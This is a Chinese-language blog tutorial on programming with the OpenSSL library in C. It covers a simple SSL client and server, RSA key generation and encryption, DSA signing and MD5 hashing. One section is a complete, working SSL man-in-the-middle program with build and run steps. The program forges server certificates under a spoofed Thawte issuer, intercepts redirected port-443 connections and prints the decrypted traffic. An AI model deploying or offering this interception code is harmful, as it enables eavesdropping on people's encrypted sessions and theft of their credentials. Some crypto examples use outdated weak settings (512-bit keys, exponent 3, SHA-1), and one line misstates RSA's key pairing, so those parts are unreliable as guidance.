标签:des cWeb cPage style c class
相关学习资料
http://bbs.pediy.com/showthread.php?t=92649 https://www.openssl.org https://www.google.com.hk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=4&ved=0CDoQFjAD&url=http%3a%2f%2fidning-ebook%2egooglecode%2ecom%2fsvn%2ftrunk%2fopenssl%2fopenssl%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581%25E7%25AC%2594%25E8%25AE%25B0%25EF%25BC%2588%25E6%259C%2580%25E7%25AE%2580%25E6%2598%258E%25EF%25BC%2589%2edoc&ei=fV99U_KpN4388QXJ84DgDA&usg=AFQjCNEB9CTfpoTNx_VlSKBciE16gEdupA&sig2=AL3n-KsVRxM96eOoje6IUg&bvm=bv.67229260,d.dGc&cad=rjt http://www.lovelucy.info/openssl-rsa-programming.html
目录
1. OPENSSL简介 2. The SSL library(SSL、TLS开发代码库) 3. the Crypto library(密码学相关开发代码库)
1. OPENSSL简介
OpenSSL项目是一个协作开发一个健壮的,商业级的,全功能的,并且开放源代码工具包,它实现了安全套接字层(SSL v2/v3)和传输层安全(TLS v1)协议以及全强大的通用加密库。
OPENSSL由3部分组成:
1. The SSL library(SSL、TLS开发代码库) 2. the Crypto library(密码学相关开发代码库) 3. command line tool(命令行工具,提供CA、证书等功能)
关于(3)openssl命令汗工具的使用,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3738141.html
本文主要关注基于openssl代码库的程序开发
2. The SSL library(SSL、TLS开发代码库)
我们首先要明白,SSL、TLS是一个网络数据协议,所以我们使用OPENSSL开发程序的目的同样也是基于网络的应用程序,即C/S程序,所以,一般情况下,我们需要同时编写服务端、以及客户端程序
服务端编写步骤
客户端编写步骤
openssl的代码库随着openssl toolkit的安装自动安装,所有的头文件都放在"/usr/include/openssl"中,我们在GCC编程中需要引入它们
whereis openssl openssl: /usr/bin/openssl /usr/include/openssl /usr/share/man/man1/openssl.1ssl.gz cd /usr/include/openssl ll
0x1: 简单C/S通信
ssl-server.c: #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <unistd.h> #include <arpa/inet.h> #include <openssl/ssl.h> #include <openssl/err.h> #define MAXBUF 1024 int main(int argc, char * *argv) { int sockfd, new_fd; socklen_t len; struct sockaddr_in my_addr, their_addr; unsigned int myport, lisnum; char buf[MAXBUF + 1]; SSL_CTX * ctx; //指定监听端口 if (argv[1]) { myport = atoi(argv[1]); } else { myport = 8888; } //最大客户端连接数 if (argv[2]) { lisnum = atoi(argv[2]); } else { lisnum = 2; } /* SSL 库初始化*/ SSL_library_init(); /* 载入所有SSL 算法*/ OpenSSL_add_all_algorithms(); /* 载入所有SSL 错误消息*/ SSL_load_error_strings(); /* 以SSL V2 和V3 标准兼容方式产生一个SSL_CTX ,即SSL Content Text */ ctx = SSL_CTX_new(SSLv23_server_method()); /* 也可以用SSLv2_server_method() 或SSLv3_server_method() 单独表示V2 或V3标准 */ if (ctx == NULL) { ERR_print_errors_fp(stdout); exit(1); } /* 载入用户的数字证书, 此证书用来发送给客户端。证书里包含有公钥*/ if (SSL_CTX_use_certificate_file(ctx, argv[4], SSL_FILETYPE_PEM) <= 0) { ERR_print_errors_fp(stdout); exit(1); } /* 载入用户私钥*/ if (SSL_CTX_use_PrivateKey_file(ctx, argv[5], SSL_FILETYPE_PEM) <= 0) { ERR_print_errors_fp(stdout); exit(1); } /* 检查用户私钥是否正确*/ if (!SSL_CTX_check_private_key(ctx)) { ERR_print_errors_fp(stdout); exit(1); } /* 开启一个socket 监听*/ if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } else { printf("socket created\n"); } bzero( &my_addr, sizeof(my_addr)); my_addr.sin_family = PF_INET; my_addr.sin_port = htons(myport); //设置监听的IP if (argv[3]) { my_addr.sin_addr.s_addr = inet_addr(argv[3]); } else { //如果用户没有指定监听端口,则默认监听0.0.0.0(任意IP) my_addr.sin_addr.s_addr = INADDR_ANY; } if (bind(sockfd, (struct sockaddr * ) &my_addr, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1); } else { printf("binded\n"); } if (listen(sockfd, lisnum) == -1) { perror("listen"); exit(1); } else { printf("begin listen\n"); } while (1) { SSL * ssl; len = sizeof(struct sockaddr); /* 等待客户端连上来*/ if ((new_fd = accept(sockfd, (struct sockaddr * ) & their_addr, &len)) == -1) { perror("accept"); exit(errno); } else { printf("server: got connection from %s, port %d, socket %d\n", inet_ntoa(their_addr.sin_addr), ntohs(their_addr.sin_port), new_fd); } /* 基于ctx 产生一个新的SSL */ ssl = SSL_new(ctx); /* 将连接用户的socket 加入到SSL */ SSL_set_fd(ssl, new_fd); /* 建立SSL 连接*/ if (SSL_accept(ssl) == -1) { perror("accept"); close(new_fd); break; } /* 开始处理每个新连接上的数据收发*/ bzero(buf, MAXBUF + 1); strcpy(buf, "server->client"); /* 发消息给客户端*/ len = SSL_write(ssl, buf, strlen(buf)); if (len <= 0) { printf("消息‘%s‘发送失败!错误代码是%d,错误信息是‘%s‘\n", buf, errno, strerror(errno)); goto finish; } else { printf("消息‘%s‘发送成功,共发送了%d 个字节!\n", buf, len); } bzero(buf, MAXBUF + 1); /* 接收客户端的消息*/ len = SSL_read(ssl, buf, MAXBUF); if (len > 0) { printf("接收消息成功:‘%s‘,共%d 个字节的数据\n", buf, len); } else { printf("消息接收失败!错误代码是%d,错误信息是‘%s‘\n", errno, strerror(errno)); } /* 处理每个新连接上的数据收发结束*/ finish: /* 关闭SSL 连接*/ SSL_shutdown(ssl); /* 释放SSL */ SSL_free(ssl); /* 关闭socket */ close(new_fd); } /* 关闭监听的socket */ close(sockfd); /* 释放CTX */ SSL_CTX_free(ctx); return 0; } ssl-client.c #include <stdio.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <resolv.h> #include <stdlib.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <openssl/ssl.h> #include <openssl/err.h> #define MAXBUF 1024 void ShowCerts(SSL * ssl) { X509 * cert; char * line; cert = SSL_get_peer_certificate(ssl); if (cert != NULL) { printf("数字证书信息:\n"); line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0); printf("证书: %s\n", line); free(line); line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0); printf("颁发者: %s\n", line); free(line); X509_free(cert); } else { printf("无证书信息!\n"); } } int main(int argc, char * *argv) { int sockfd, len; struct sockaddr_in dest; char buffer[MAXBUF + 1]; SSL_CTX * ctx; SSL * ssl; if (argc != 3) { printf("参数格式错误!正确用法如下:\n\t\t%s IP 地址端口\n\t 比如:\t%s 127.0.0.1 80\n 此程序用来从某个IP 地址的服务器某个端口接收最多MAXBUF 个字节的消息",
argv[0], argv[0]); exit(0); } /* SSL 库初始化*/ SSL_library_init(); /* 载入所有SSL 算法*/ OpenSSL_add_all_algorithms(); /* 载入所有SSL 错误消息*/ SSL_load_error_strings(); /* 以SSL V2 和V3 标准兼容方式产生一个SSL_CTX ,即SSL Content Text */ ctx = SSL_CTX_new(SSLv23_client_method()); if (ctx == NULL) { ERR_print_errors_fp(stdout); exit(1); } /* 创建一个socket 用于tcp 通信*/ if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("Socket"); exit(errno); } printf("socket created\n"); /* 初始化服务器端(对方)的地址和端口信息*/ bzero( &dest, sizeof(dest)); dest.sin_family = AF_INET; //设置连接的端口 dest.sin_port = htons(atoi(argv[2])); //设置连接的IP地址 if (inet_aton(argv[1], (struct in_addr * ) &dest.sin_addr.s_addr) == 0) { perror(argv[1]); exit(errno); } printf("address created\n"); /* 连接服务器*/ if (connect(sockfd, (struct sockaddr * ) &dest, sizeof(dest)) != 0) { perror("Connect "); exit(errno); } printf("server connected\n"); /* 基于ctx 产生一个新的SSL */ ssl = SSL_new(ctx); /* 将新连接的socket 加入到SSL */ SSL_set_fd(ssl, sockfd); /* 建立SSL 连接*/ if (SSL_connect(ssl) == -1) { ERR_print_errors_fp(stderr); } else { printf("Connected with %s encryption\n", SSL_get_cipher(ssl)); ShowCerts(ssl); } /* 接收对方发过来的消息,最多接收MAXBUF 个字节*/ bzero(buffer, MAXBUF + 1); /* 接收服务器来的消息*/ len = SSL_read(ssl, buffer, MAXBUF); if (len > 0) { printf("接收消息成功:‘%s‘,共%d 个字节的数据\n", buffer, len); } else { printf("消息接收失败!错误代码是%d,错误信息是‘%s‘\n", errno, strerror(errno)); goto finish; } bzero(buffer, MAXBUF + 1); strcpy(buffer, "from client->server"); /* 发消息给服务器*/ len = SSL_write(ssl, buffer, strlen(buffer)); if (len < 0) { printf("消息‘%s‘发送失败!错误代码是%d,错误信息是‘%s‘\n", buffer, errno, strerror(errno)); } else { printf("消息‘%s‘发送成功,共发送了%d 个字节!\n", buffer, len); } finish: /* 关闭连接*/ SSL_shutdown(ssl); SSL_free(ssl); close(sockfd); SSL_CTX_free(ctx); return 0; } usage: 1. 程序中用到的包含公钥的服务端证书cacert.pem和服务端私钥文件privkey.pem需要使用如下方式生成: openssl genrsa -out privkey.pem 2048 openssl req -new -x509 -key privkey.pem -out cacert.pem -days 1095 2. 编译程序用下列命令: gcc -Wall ssl-client.c -o client -lssl gcc -Wall ssl-server.c -o server -lssl 3. 运行程序用如下命令: ./server 8888 3 127.0.0.1 cacert.pem privkey.pem ./client 127.0.0.1 8888
0x2:
作为SSL中间人与客户端和原始请求服务端同时建立连接,并转发数据
中间负责监听443端口,等待客户端的连接,然后中间人单独和客户端原始请求的服务端建立SSL连接,同时和客户端也建立一个SSL连接,即
1. 客户端其实是在和中间人建立SSL连接 2. 中间人和原始请求的服务端建立SSL连接 3. 中间人将2个socket之间的数据进行双向转发,并记录明文数据
code:
SSL_man_in_middle.c #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <sys/param.h> #include <linux/netfilter_ipv4.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/time.h> #include <openssl/ssl.h> #include <openssl/err.h> #define LISTEN_BACKLOG 50 #define warning(msg) do { fprintf(stderr, "%d, ", sum); perror(msg); } while(0) #define error(msg) do { fprintf(stderr, "%d, ", sum); perror(msg); exit(EXIT_FAILURE); } while (0) int sum = 1; struct timeval timeout = { 0, 10000000 }; int get_socket_to_server(struct sockaddr_in* original_server_addr) { int sockfd; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { error("Fail to initial socket to server!"); } if (connect(sockfd, (struct sockaddr*) original_server_addr, sizeof(struct sockaddr)) < 0) { error("Fail to connect to server!"); } printf("%d, Connect to server [%s:%d]\n", sum, inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port)); return sockfd; } //监听指定端口,等待客户端的连接 int socket_to_client_init(short int port) { int sockfd; int on = 1; struct sockaddr_in addr; //初始化一个socket if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { error("Fail to initial socket to client!"); } if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)) < 0) { error("reuseaddr error!"); } memset(&addr, 0, sizeof(addr)); addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_family = AF_INET; //将该socket绑定到8888端口上 addr.sin_port = htons(port); if (bind(sockfd, (struct sockaddr*) &addr, sizeof(struct sockaddr)) < 0) { shutdown(sockfd, SHUT_RDWR); error("Fail to bind socket to client!"); } //然后监听该端口 if (listen(sockfd, LISTEN_BACKLOG) < 0) { shutdown(sockfd, SHUT_RDWR); error("Fail to listen socket to client!"); } return sockfd; } /* 当主机B发起一个SSL连接时,我们在本地8888端口就可以监听到连接,这时我们接受这个连接,并获得该链接的原始目的地址, 以便后续连接服务器时使用。该部分封装到了get_socket_to_client函数中。 */ int get_socket_to_client(int socket, struct sockaddr_in* original_server_addr) { int client_fd; struct sockaddr_in client_addr; socklen_t client_size = sizeof(struct sockaddr); socklen_t server_size = sizeof(struct sockaddr); memset(&client_addr, 0, client_size); memset(original_server_addr, 0, server_size); client_fd = accept(socket, (struct sockaddr *) &client_addr, &client_size); if (client_fd < 0) { warning("Fail to accept socket to client!"); return -1; } /* 通过getsockopt函数获得socket中的SO_ORIGINAL_DST属性,得到报文被iptables重定向之前的原始目的地址。 使用SO_ORIGINAL_DST属性需要包括头文件<linux/netfilter_ipv4.h>。 值得注意的是,在当前的情景下,通过getsockname等函数是无法正确获得原始的目的地址的, 因为iptables在重定向报文到本地端口时,已经将IP报文的目的地址修改为本地地址, 所以getsockname等函数获得的都是本地地址而不是服务器的地址。 */ if (getsockopt(client_fd, SOL_IP, SO_ORIGINAL_DST, original_server_addr, &server_size) < 0) { warning("Fail to get original server address of socket to client!");; } printf("%d, Find SSL connection from client [%s:%d]", sum, inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); printf(" to server [%s:%d]\n", inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port)); return client_fd; } // 初始化openssl库 void SSL_init() { SSL_library_init(); SSL_load_error_strings(); } void SSL_Warning(char *custom_string) { char error_buffer[256] = { 0 }; fprintf(stderr, "%d, %s ", sum, custom_string); ERR_error_string(ERR_get_error(), error_buffer); fprintf(stderr, "%s\n", error_buffer); } void SSL_Error(char *custom_string) { SSL_Warning(custom_string); exit(EXIT_FAILURE); } //在与服务器建立了socket连接之后,我们就可以建立SSL连接了。这里我们使用linux系统中著名的SSL库openssl来完成我们的接下来的工作 SSL* SSL_to_server_init(int socket) { SSL_CTX *ctx; ctx = SSL_CTX_new(SSLv23_client_method()); if (ctx == NULL) { SSL_Error("Fail to init ssl ctx!"); } SSL *ssl = SSL_new(ctx); if (ssl == NULL) { SSL_Error("Create ssl error"); } if (SSL_set_fd(ssl, socket) != 1) { SSL_Error("Set fd error"); } return ssl; } SSL* SSL_to_client_init(int socket, X509 *cert, EVP_PKEY *key) { SSL_CTX *ctx; ctx = SSL_CTX_new(SSLv23_server_method()); if (ctx == NULL) SSL_Error("Fail to init ssl ctx!"); if (cert && key) { if (SSL_CTX_use_certificate(ctx, cert) != 1) SSL_Error("Certificate error"); if (SSL_CTX_use_PrivateKey(ctx, key) != 1) SSL_Error("key error"); if (SSL_CTX_check_private_key(ctx) != 1) SSL_Error("Private key does not match the certificate public key"); } SSL *ssl = SSL_new(ctx); if (ssl == NULL) SSL_Error("Create ssl error"); if (SSL_set_fd(ssl, socket) != 1) SSL_Error("Set fd error"); return ssl; } void SSL_terminal(SSL *ssl) { SSL_CTX *ctx = SSL_get_SSL_CTX(ssl); SSL_shutdown(ssl); SSL_free(ssl); if (ctx) SSL_CTX_free(ctx); } // 从文件读取伪造SSL证书时需要的RAS私钥和公钥 EVP_PKEY* create_key() { EVP_PKEY *key = EVP_PKEY_new(); RSA *rsa = RSA_new(); FILE *fp; if ((fp = fopen("private.key", "r")) == NULL) { error("private.key"); } PEM_read_RSAPrivateKey(fp, &rsa, NULL, NULL); if ((fp = fopen("public.key", "r")) == NULL) { error("public.key"); } PEM_read_RSAPublicKey(fp, &rsa, NULL, NULL); EVP_PKEY_assign_RSA(key,rsa); return key; } X509* create_fake_certificate(SSL* ssl_to_server, EVP_PKEY *key) { unsigned char buffer[128] = { 0 }; int length = 0, loc; X509 *server_x509 = SSL_get_peer_certificate(ssl_to_server); X509 *fake_x509 = X509_dup(server_x509); if (server_x509 == NULL) { SSL_Error("Fail to get the certificate from server!"); } X509_set_version(fake_x509, X509_get_version(server_x509)); ASN1_INTEGER *a = X509_get_serialNumber(fake_x509); a->data[0] = a->data[0] + 1; X509_NAME *issuer = X509_NAME_new(); X509_NAME_add_entry_by_txt(issuer, "CN", MBSTRING_ASC, "Thawte SGC CA", -1, -1, 0); X509_NAME_add_entry_by_txt(issuer, "O", MBSTRING_ASC, "Thawte Consulting (Pty) Ltd.", -1, -1, 0); X509_NAME_add_entry_by_txt(issuer, "OU", MBSTRING_ASC, "Thawte SGC CA", -1, -1, 0); X509_set_issuer_name(fake_x509, issuer); X509_sign(fake_x509, key, EVP_sha1()); return fake_x509; } /* 我们将抓取数据的代码封装到transfer函数中。该函数主要是使用系统的select函数同时监听服务器和客户端, 并使用SSL_read和SSL_write不断的在两个信道之间传递数据,并将数据输出到控制台 */ int transfer(SSL *ssl_to_client, SSL *ssl_to_server) { int socket_to_client = SSL_get_fd(ssl_to_client); int socket_to_server = SSL_get_fd(ssl_to_server); int ret; char buffer[4096] = { 0 }; fd_set fd_read; printf("%d, waiting for transfer\n", sum); while (1) { int max; FD_ZERO(&fd_read); FD_SET(socket_to_server, &fd_read); FD_SET(socket_to_client, &fd_read); max = socket_to_client > socket_to_server ? socket_to_client + 1 : socket_to_server + 1; ret = select(max, &fd_read, NULL, NULL, &timeout); if (ret < 0) { SSL_Warning("Fail to select!"); break; } else if (ret == 0) { continue; } if (FD_ISSET(socket_to_client, &fd_read)) { memset(buffer, 0, sizeof(buffer)); ret = SSL_read(ssl_to_client, buffer, sizeof(buffer)); if (ret > 0) { if (ret != SSL_write(ssl_to_server, buffer, ret)) { SSL_Warning("Fail to write to server!"); break; } else { printf("%d, client send %d bytes to server\n", sum, ret); printf("%s\n", buffer); } } else { SSL_Warning("Fail to read from client!"); break; } } if (FD_ISSET(socket_to_server, &fd_read)) { memset(buffer, 0, sizeof(buffer)); ret = SSL_read(ssl_to_server, buffer, sizeof(buffer)); if (ret > 0) { if (ret != SSL_write(ssl_to_client, buffer, ret)) { SSL_Warning("Fail to write to client!"); break; } else { printf("%d, server send %d bytes to client\n", sum, ret); printf("%s\n", buffer); } } else { SSL_Warning("Fail to read from server!"); break; } } } return -1; } int main() { // 初始化一个socket,将该socket绑定到443端口,并监听 int socket = socket_to_client_init(443); // 从文件读取伪造SSL证书时需要的RAS私钥和公钥 EVP_PKEY* key = create_key(); // 初始化openssl库 SSL_init(); while (1) { struct sockaddr_in original_server_addr; // 从监听的端口获得一个客户端的连接,并将该连接的原始目的地址存储到original_server_addr中 int socket_to_client = get_socket_to_client(socket, &original_server_addr); if (socket_to_client < 0) { continue; } // 新建一个子进程处理后续事宜,主进程继续监听端口等待后续连接 if (!fork()) { X509 *fake_x509; SSL *ssl_to_client, *ssl_to_server; // 通过获得的原始目的地址,连接真正的服务器,获得一个和服务器连接的socket int socket_to_server = get_socket_to_server(&original_server_addr); // 通过和服务器连接的socket建立一个和服务器的SSL连接 ssl_to_server = SSL_to_server_init(socket_to_server); if (SSL_connect(ssl_to_server) < 0) { SSL_Error("Fail to connect server with ssl!"); } printf("%d, SSL to server\n", sum); // 从服务器获得证书,并通过这个证书伪造一个假的证书 fake_x509 = create_fake_certificate(ssl_to_server, key); // 使用假的证书和我们自己的密钥,和客户端建立一个SSL连接。至此,SSL中间人攻击成功 ssl_to_client = SSL_to_client_init(socket_to_client, fake_x509, key); if (SSL_accept(ssl_to_client) <= 0) { SSL_Error("Fail to accept client with ssl!"); } printf("%d, SSL to client\n", sum); // 在服务器SSL连接和客户端SSL连接之间转移数据,并输出服务器和客户端之间通信的数据 if (transfer(ssl_to_client, ssl_to_server) < 0) { break; } printf("%d, connection shutdown\n", sum); shutdown(socket_to_server, SHUT_RDWR); SSL_terminal(ssl_to_client); SSL_terminal(ssl_to_server); X509_free(fake_x509); EVP_PKEY_free(key); } else { ++sum; } } return 0; } usage: 1. 生成本地伪证书公钥、私钥 openssl genrsa -out private.key 1024 openssl rsa -in private.key -pubout -out public.key 2. 编译 vim SSL_man_in_middle.c gcc SSL_man_in_middle.c -o SSL_man_in_middle -lssl 3. 运行(监听443端口) ./SSL_man_in_middle
3. the Crypto library(密码学相关开发代码库)
0x1: RSA密钥生成
RSA算法是一个广泛使用的公钥算法。其密钥包括公钥和私钥。它能用于数字签名、身份认证以及密钥交换。RSA密钥长度一般使用1024位或者更高。RSA密钥信息主要包括
1. n: 模数 2. e: 公钥指数 3. d: 私钥指数 4. p: 最初的大素数 5. q: 最初的大素数 6. dmp1: e*dmp1 = 1 (mod (p-1)) 7. dmq1: e*dmq1 = 1 (mod (q-1)) 8. iqmp: q*iqmp = 1 (mod p )
其中,公钥为n和e;私钥为n和d。在实际应用中,公钥加密一般用来协商密钥,私钥加密一般用来签名
rsa_keygen.c #include <openssl/rsa.h> int main() { RSA * r; int bits = 512, ret; unsigned long e = RSA_3; BIGNUM * bne; //调用RSA_generate_key函数生成RSA密钥参数 r = RSA_generate_key(bits, e, NULL, NULL); //调用RSA_print_fp打印密钥信息 RSA_print_fp(stdout, r, 11); RSA_free(r); bne = BN_new(); ret = BN_set_word(bne, e); r = RSA_new(); //调用RSA_generate_key_ex函数生成RSA密钥参数 ret = RSA_generate_key_ex(r, bits, bne, NULL); if (ret != 1) { printf("RSA_generate_key_ex err!\n"); return - 1; } RSA_free(r); return 0; } usage: 1. 编译程序 gcc -Wall rsa_keygen.c -o rsa_keygen -lssl 2. 运行程序 ./rsa_keygen
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RSA加解密运算
RSA算法中,公钥、私钥的加解密是对称的,即
1. 公钥解密--私钥解密 2. 私钥加密--公钥解密
code:
rsa_crypto.c /* * rsa.cc * - Show the usage of RSA encryption/decryption */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <openssl/bn.h> #include <openssl/rsa.h> int main(int argc, char** argv) { RSA* rsa; unsigned char* input_string; unsigned char* encrypt_string; unsigned char* decrypt_string; int i; // check usage if (argc != 2) { fprintf(stderr, "%s <plain text>\n", argv[0]); exit(-1); } // set the input string input_string = (unsigned char*)calloc(strlen(argv[1]) + 1, sizeof(unsigned char)); if (input_string == NULL) { fprintf(stderr, "Unable to allocate memory for input_string\n"); exit(-1); } strncpy((char*)input_string, argv[1], strlen(argv[1])); // Generate RSA parameters with 1024 bits (using exponent 3) rsa = RSA_generate_key(1024, 3, NULL, NULL); // set encryption RSA instance (with only n and e), to resemble // the key distribution process unsigned char* n_b = (unsigned char*)calloc(RSA_size(rsa), sizeof(unsigned char)); unsigned char* e_b = (unsigned char*)calloc(RSA_size(rsa), sizeof(unsigned char)); int n_size = BN_bn2bin(rsa->n, n_b); int b_size = BN_bn2bin(rsa->e, e_b); // assume the byte strings are sent over the network RSA* encrypt_rsa = RSA_new(); encrypt_rsa->n = BN_bin2bn(n_b, n_size, NULL); encrypt_rsa->e = BN_bin2bn(e_b, b_size, NULL); // alloc encrypt_string encrypt_string = (unsigned char*)calloc(RSA_size(encrypt_rsa), sizeof(unsigned char)); if (encrypt_string == NULL) { fprintf(stderr, "Unable to allocate memory for encrypt_string\n"); exit(-1); } // encrypt (return the size of the encrypted data) // note that if RSA_PKCS1_OAEP_PADDING is used, // flen must be < RSA_size - 41 int encrypt_size = RSA_public_encrypt(strlen((char*)input_string), input_string, encrypt_string, encrypt_rsa, RSA_PKCS1_OAEP_PADDING); // alloc decrypt_string decrypt_string = (unsigned char*)calloc(RSA_size(rsa), sizeof(unsigned char)); if (decrypt_string == NULL) { fprintf(stderr, "Unable to allocate memory for decrypt_string\n"); exit(-1); } // decrypt int decrypt_size = RSA_private_decrypt(encrypt_size, encrypt_string, decrypt_string, rsa, RSA_PKCS1_OAEP_PADDING); // print printf("input_string = %s\n", input_string); printf("encrypted string = "); for (i=0; i<encrypt_size; ++i) { printf("%x%x", (encrypt_string[i] >> 4) & 0xf, encrypt_string[i] & 0xf); } printf("\n"); printf("decrypted string (%d) = %s\n", decrypt_size, decrypt_string); return 0; } usage: 1. 编译程序 gcc -Wall rsa_crypto.c -o crypto -lssl 2. 运行程序 ./crypto hello
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DSA签名与验证
和手写签名一样,数字签名可以为我们验证文档的作者、签名的时间,从而鉴明消息的内容是真实可靠的。它的目的和MAC类似,只是使用的是公钥加密体系。
在DSA数字签名和认证中,发送者使用自己的私钥对文件或消息进行签名,接受者收到消息后使用发送者的公钥来验证签名的真实性
我们知道,非对称密钥体系一个最大的缺点就是速度很慢,如果我们需要传送一个1G大小的文件,则加密解密签名验证都需要耗费大量的时间。所以,包括SSL/TLS在内的主流的协议框架中,都规定用一个哈希函数对消息进行摘要,对摘要进行签名和验证,这样可以加快速度
dsa_signed.c /* * dsa.cc * - Show the usage of DSA sign/verify */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <openssl/dsa.h> int main(int argc, char** argv) { DSA* dsa; unsigned char* input_string; unsigned char* sign_string; unsigned int sig_len; unsigned int i; // check usage if (argc != 2) { fprintf(stderr, "%s <plain text>\n", argv[0]); exit(-1); } // set the input string input_string = (unsigned char*)calloc(strlen(argv[1]) + 1, sizeof(unsigned char)); if (input_string == NULL) { fprintf(stderr, "Unable to allocate memory for input_string\n"); exit(-1); } strncpy((char*)input_string, argv[1], strlen(argv[1])); // Generate random DSA parameters with 1024 bits dsa = DSA_generate_parameters(1024, NULL, 0, NULL, NULL, NULL, NULL); // Generate DSA keys DSA_generate_key(dsa); // alloc sign_string sign_string = (unsigned char*)calloc(DSA_size(dsa), sizeof(unsigned char)); if (sign_string == NULL) { fprintf(stderr, "Unable to allocate memory for sign_string\n"); exit(-1); } // sign input_string if (DSA_sign(0, input_string, strlen((char*)input_string), sign_string, &sig_len, dsa) == 0) { fprintf(stderr, "Sign Error.\n"); exit(-1); } // verify signature and input_string int is_valid_signature = DSA_verify(0, input_string, strlen((char*)input_string), sign_string, sig_len, dsa); // print DSAparams_print_fp(stdout, dsa); printf("input_string = %s\n", input_string); printf("signed string = "); for (i=0; i<sig_len; ++i) { printf("%x%x", (sign_string[i] >> 4) & 0xf, sign_string[i] & 0xf); } printf("\n"); printf("is_valid_signature? = %d\n", is_valid_signature); return 0; } usage: 1. 编译程序 gcc -Wall dsa_signed.c -o signed -lssl 2. 运行程序 ./signed hello
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MD5哈希散列生成摘要
取任意长度的消息,生成一个固定长度的散列值,或者叫做摘要。哈希函数的实现都是公开的,它广泛应用于文件完整性检测、数字签名中。登录密码也有用到哈希函数,一般网站在数据库中不是直接存储的用户密码,而是密码的哈希值,这样即使数据库暴露,攻击者仍然是不知道密码的明文的。
md5.c /* * md5.cc * - Using md5 with openSSL. MD5 returns a 128-bit hash value from a string. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <openssl/md5.h> int main(int argc, char** argv) { MD5_CTX hash_ctx; char input_string[128]; unsigned char hash_ret[16]; int i; // check usage if (argc != 2) { fprintf(stderr, "%s <input string>\n", argv[0]); exit(-1); } // set the input string snprintf(input_string, sizeof(input_string), "%s\n", argv[1]); // initialize a hash context MD5_Init(&hash_ctx); // update the input string to the hash context (you can update // more string to the hash context) MD5_Update(&hash_ctx, input_string, strlen(input_string)); // compute the hash result MD5_Final(hash_ret, &hash_ctx); // print printf("Input string: %s", input_string); printf("Output string: "); for (i=0; i<32; ++i) { if (i % 2 == 0) { printf("%x", (hash_ret[i/2] >> 4) &0xf); } else { printf("%x", (hash_ret[i/2]) &0xf); } } printf("\n"); return 0; } usage: 1. 编译程序 gcc -Wall md5.c -o md5 -lssl 2. 运行程序 ./md5 hello
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原文地址:http://www.cnblogs.com/LittleHann/p/3741907.html